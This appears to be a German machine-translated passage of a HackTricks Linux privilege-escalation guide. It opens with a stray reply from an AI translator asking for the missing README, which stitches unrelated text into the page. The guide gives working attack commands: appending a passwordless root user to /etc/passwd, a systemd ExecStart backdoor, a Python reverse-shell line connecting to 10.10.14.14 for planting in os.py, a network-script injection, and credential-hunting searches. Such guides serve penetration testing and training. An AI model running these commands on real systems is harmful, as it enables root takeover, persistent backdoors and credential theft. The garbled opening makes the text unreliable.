mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Ich habe die Datei src/linux-hardening/privilege-escalation/README.md nicht erhalten. Bitte füge den Inhalt der README.md hier ein, damit ich ihn vollständig ins Deutsche übersetzen kann.

Außerdem kläre bitte kurz, was du mit “Then add the user hacker and add the generated password.” meinst:

  • Soll ich in die übersetzte README.md eine Zeile/einen Codeblock einfügen, der den neuen Benutzer und ein generiertes Passwort zeigt (z. B. “Benutzer: hacker\nPasswort: ”)? Oder
  • Soll ich dir die konkreten Shell-Befehle liefern, um den Benutzer auf deinem System anzulegen und das Passwort zu setzen?

Wenn du möchtest, generiere ich auch ein sicheres Passwort — sag mir dann bitte gewünschte Länge (Standard: 16 Zeichen, Mischung aus Groß-/Kleinbuchstaben, Zahlen und Sonderzeichen).

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Z. B.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Du kannst jetzt den su-Befehl mit hacker:hacker verwenden.

Alternativ kannst du die folgenden Zeilen verwenden, um einen Dummy-Benutzer ohne Passwort hinzuzufügen.
WARNUNG: Dadurch kann die aktuelle Sicherheit der Maschine beeinträchtigt werden.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

HINWEIS: Auf BSD-Plattformen befindet sich /etc/passwd unter /etc/pwd.db und /etc/master.passwd; außerdem wurde /etc/shadow in /etc/spwd.db umbenannt.

Du solltest prüfen, ob du in einige sensible Dateien schreiben kannst. Zum Beispiel: Kannst du in eine Service-Konfigurationsdatei schreiben?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Zum Beispiel, wenn die Maschine einen tomcat Server betreibt und du modify the Tomcat service configuration file inside /etc/systemd/, kannst, dann kannst du die Zeilen ändern:

ExecStart=/path/to/backdoor
User=root
Group=root

Deine backdoor wird beim nächsten Start von tomcat ausgeführt.

Ordner prüfen

Die folgenden Ordner können Backups oder interessante Informationen enthalten: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Wahrscheinlich wirst du den letzten nicht lesen können, aber versuche es)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Ungewöhnlicher Speicherort/Owned Dateien

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Geänderte Dateien in den letzten Minuten

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB Dateien

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml Dateien

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Versteckte Dateien

find / -type f -iname ".*" -ls 2>/dev/null

Skripte/Binärdateien im PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web-Dateien

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Sicherungen

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Bekannte Dateien, die Passwörter enthalten

Lies den Code von linPEAS, er durchsucht nach verschiedenen möglichen Dateien, die Passwörter enthalten könnten.
Ein weiteres interessantes Tool, das du dafür verwenden kannst, ist: LaZagne welches eine Open-Source-Anwendung ist, um viele Passwörter zu extrahieren, die auf einem lokalen Computer für Windows, Linux & Mac gespeichert sind.

Logs

If you can read logs, you may be able to find interesting/confidential information inside them. The more strange the log is, the more interesting it will be (probably).
Außerdem können einige “bad” konfigurierte (backdoored?) audit logs es ermöglichen, dass du Passwörter in audit logs aufzeichnest, wie in diesem Beitrag erklärt: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Die Gruppe adm ist sehr hilfreich, um logs zu lesen.

Shell-Dateien

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Sie sollten außerdem nach Dateien suchen, die das Wort “password” im Dateinamen oder im Inhalt enthalten, sowie nach IPs und E-Mails in Logs oder nach Hashes/Regexps.
Ich werde hier nicht aufzählen, wie man das alles macht, aber wenn Sie interessiert sind, können Sie sich die letzten Prüfungen ansehen, die linpeas ausführt.

Schreibbare Dateien

Python library hijacking

Wenn Sie wissen, von woher ein python-Skript ausgeführt wird und Sie in diesen Ordner schreiben können oder Sie python-Bibliotheken modifizieren können, können Sie die OS-Bibliothek modifizieren und backdoor it (wenn Sie dorthin schreiben können, wo das python-Skript ausgeführt wird, kopieren Sie die os.py library).

Um die Bibliothek zu backdoor the library, fügen Sie einfach am Ende der os.py library die folgende Zeile hinzu (IP und PORT ändern):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

Eine Schwachstelle in logrotate ermöglicht Benutzern mit Schreibrechten auf eine Logdatei oder deren übergeordnete Verzeichnisse, potenziell erhöhte Privilegien zu erlangen. Das liegt daran, dass logrotate, das oft als root läuft, so manipuliert werden kann, dass beliebige Dateien ausgeführt werden, insbesondere in Verzeichnissen wie /etc/bash_completion.d/. Es ist wichtig, die Berechtigungen nicht nur in /var/log zu prüfen, sondern auch in jedem Verzeichnis, in dem Logrotation angewendet wird.

Tip

Diese Schwachstelle betrifft logrotate Version 3.18.0 und älter

Mehr Informationen zur Schwachstelle finden sich auf dieser Seite: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Diese Schwachstelle kann mit logrotten ausgenutzt werden.

Diese Schwachstelle ähnelt sehr CVE-2016-1247 (nginx logs), daher solltest du, wann immer du Logdateien ändern kannst, prüfen, wer diese Logs verwaltet und ob du durch Ersetzen der Logs durch symlinks Privilegien eskalieren kannst.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerabilitätsreferenz: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Wenn ein Benutzer aus irgendeinem Grund ein ifcf-<whatever>-Skript nach /etc/sysconfig/network-scripts schreiben kann oder ein bestehendes Skript anpassen kann, dann ist dein System pwned.

Network-Skripte, z. B. ifcg-eth0, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Allerdings werden sie auf Linux vom Network Manager (dispatcher.d) sourced.

In meinem Fall wird das NAME=-Attribut in diesen Network-Skripten nicht korrekt behandelt. Wenn du ein Leerzeichen im Namen hast, versucht das System, den Teil nach dem Leerzeichen auszuführen. Das bedeutet, dass alles nach dem ersten Leerzeichen als root ausgeführt wird.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Beachte das Leerzeichen zwischen Network und /bin/id)

init, init.d, systemd, und rc.d

Das Verzeichnis /etc/init.d ist der Ort für Skripte von System V init (SysVinit), dem klassischen Linux-Dienstverwaltungs-System. Es enthält Skripte zum start, stop, restart und manchmal reload von Services. Diese können direkt ausgeführt werden oder über symbolische Links in /etc/rc?.d/. Ein alternativer Pfad bei Redhat-Systemen ist /etc/rc.d/init.d.

Auf der anderen Seite ist /etc/init mit Upstart verbunden, einem neueren Dienstverwaltungsmechanismus, der von Ubuntu eingeführt wurde und Konfigurationsdateien für Service-Management-Aufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen genutzt, da Upstart eine Kompatibilitätsschicht bietet.

systemd hat sich als moderner Initialisierungs- und Service-Manager etabliert und bietet erweiterte Funktionen wie On-Demand-Start von Daemons, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien unter /usr/lib/systemd/ für Distributionspakete und /etc/systemd/system/ für Administratoränderungen und vereinfacht so die Systemverwaltung.

Weitere Tricks

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android rooting frameworks hooken häufig einen syscall, um privilegierte Kernel-Funktionalität einem userspace manager zugänglich zu machen. Schwache manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-order oder schwache Passwortschemata) kann einer lokalen App erlauben, sich als der manager auszugeben und auf bereits gerooteten Geräten root zu erlangen. Mehr Informationen und Exploit-Details hier:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

Regex-getriebene Service-Discovery in VMware Tools/Aria Operations kann einen Binary-Pfad aus Prozess-Commandlines extrahieren und diesen mit -v in einem privilegierten Kontext ausführen. Zu permissive Muster (z. B. mit \S) können auf vom Angreifer platzierten Listenern in beschreibbaren Orten (z. B. /tmp/httpd) matchen und zur Ausführung als root führen (CWE-426 Untrusted Search Path).

Mehr Informationen und ein generalisiertes Pattern, das auf andere Discovery/Monitoring-Stacks anwendbar ist, hier:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel-Sicherheitsmaßnahmen

Mehr Hilfe

Static impacket binaries

Linux/Unix Privesc Tools

Bestes Tool, um Linux local privilege escalation vectors zu finden: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns in Linux und macOS https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Sammlung weiterer Skripte: https://github.com/1N3/PrivEsc

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks